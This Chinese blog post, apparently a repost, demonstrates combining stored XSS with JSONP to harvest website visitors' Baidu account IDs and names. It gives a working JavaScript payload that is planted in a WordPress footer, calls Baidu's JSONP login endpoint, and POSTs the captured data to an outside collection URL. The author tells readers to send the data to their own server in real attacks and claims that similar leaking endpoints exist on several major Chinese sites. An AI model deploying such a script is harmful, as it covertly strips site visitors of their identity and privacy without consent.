XSS结合JSONP获取网站访客社交账号信息

  我在本地环境搭建了一个WordPress网站,并在该网站中植入JavaScript文件。如果访客在浏览网站时登录了百度账号,该js文件能够利用JSONP获取网站访客的百度账号信息。

具体情况如下:

1、首先修改WordPress的footer.php文件,引入2个外部JavaScript文件。第一个是jQuery库,第二个是jsonp代码。在实际渗透中,如果该网站存在存储型XSS漏洞,我们就可以将xss_jsonp.js文件植入进去。

XSS结合JSONP获取网站访客社交账号信息_第1张图片

2、xss_jsonp.js文件内容如下,具体功能是通过JSONP获取百度账号信息,并上传到服务器上。为了做演示,这里我把获取到的信息上传到www.sogou.com,在实际渗透中,你可以把信息上传到自己的服务器上。

 1 function jsonp_baidu() {
 2     window._baidu_1 = function(object) {
 3     if(!object.id) {
 4         return;
 5     }
 6     var data = {};
 7     data.id = object.id;
 8     data.name = object.name;
 9     $.post(saveUrl + '?act=baidu', data);
10     };
11     $.ajax({
12         url: "https://baike.baidu.com/api/login/",
13         type: "GET",
14         dataType: "jsonp",
15         jsonp: 'callback',
16         jsonpCallback: "_baidu_1",
17     });
18 }  
19 var saveUrl = 'https://www.sogou.com/xss_jsonp.php';
20 jsonp_baidu();

3、访问网站并观察刚才植入的js代码是否执行。

XSS结合JSONP获取网站访客社交账号信息_第2张图片

访问百度的JSONP接口,服务器返回登录账号的相关信息。

XSS结合JSONP获取网站访客社交账号信息_第3张图片

获取到百度账号信息后,上传到www.sogou.com服务器。

 XSS结合JSONP获取网站访客社交账号信息_第4张图片

  目前,我已经找到了百度、淘宝、京东、腾讯、新浪、爱奇艺等多个国内流行网站的JSONP接口,从这些接口可以获取用户账号信息。

 

转载于:https://www.cnblogs.com/dgjnszf/p/10793535.html

你可能感兴趣的:(XSS结合JSONP获取网站访客社交账号信息)